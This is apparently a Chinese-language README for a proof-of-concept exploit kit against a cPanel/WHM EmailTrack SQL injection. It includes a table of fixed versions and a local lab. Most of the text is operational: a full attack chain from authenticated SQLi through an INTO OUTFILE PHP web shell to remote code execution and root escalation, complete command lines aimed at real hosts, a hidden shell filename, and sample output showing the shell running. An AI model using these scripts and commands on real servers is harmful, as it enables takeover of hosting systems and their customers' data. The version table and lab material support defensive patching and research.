| cPanel 构建系列 | 修复版本 |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
使用以下命令检查你的版本:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account 参数注入。SELECT ... INTO OUTFILE 将 PHP Web Shell 写入 public_html/。| 文件 | 描述 |
|---|---|
poc_sqli.py | SQL 注入检测:基于布尔、基于时间以及 UNION 列数 |
poc_full_chain.py | 完整利用链:SQLi → INTO OUTFILE Web Shell → RCE → root 提权指引 |
lab/vuln_server.py | 易受攻击的 EmailTrack 后端的本地模拟(安全、自包含) |
README.md | 本文档 |
捆绑的实验环境让你能够在没有真实 cPanel 服务器的情况下运行并验证整条利用链。
所有命令均从仓库根目录运行。
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP()、INTO OUTFILE 以及 PHP Web Shell 执行。18123)lab/htdocs)在一个终端中保持其运行,并使用第二个终端运行 PoC。
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| 参数 | 描述 |
|---|---|
-H, --host | cPanel 主机,例如 https://cp.example.com:2083 |
-u, --username | 拥有邮件权限的 cPanel 账户 |
-p, --password | 账户密码 |
--param | 可注入参数(默认:account) |
--mode | detect(默认)、boolean、timing、union 或 all |
--sleep | 时间探测的 SLEEP() 时长(默认:3.0) |
--dump-version | 尝试通过 UNION 提取 DBMS 版本 |
--insecure | 跳过 TLS 证书验证 |
运行特定探测:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| 参数 / 环境变量 | 描述 |
|---|---|
host(位置参数) | cPanel 主机,或设置环境变量 CPANEL_HOST |
CPANEL_USER | 拥有邮件权限的 cPanel 账户 |
CPANEL_PASS | 账户密码 |
--shell-base | 提供 public_html 服务的基础 URL(即访问 Web Shell 的地址) |
--insecure | 跳过 TLS 证书验证 |
--no-escalate | 在 RCE 后停止;跳过 root 提权指引 |
SHELL_NAME(环境变量) | Web Shell 文件名(默认:.mail.cache.php) |
自动执行的阶段:
SELECT ... INTO OUTFILE 写入 PHP Web Shellid、whoami、SUID 枚举……)whmapi1、cron、任务队列)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
注意: 默认的
--shell-base会从主机中去除仅用于 cPanel 的端口(2082/2083)。如果文档根目录通过不同端口提供服务,请显式设置。
针对捆绑实验环境产生的输出:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
为教育和授权安全研究目的发布。 使用前请参阅免责声明。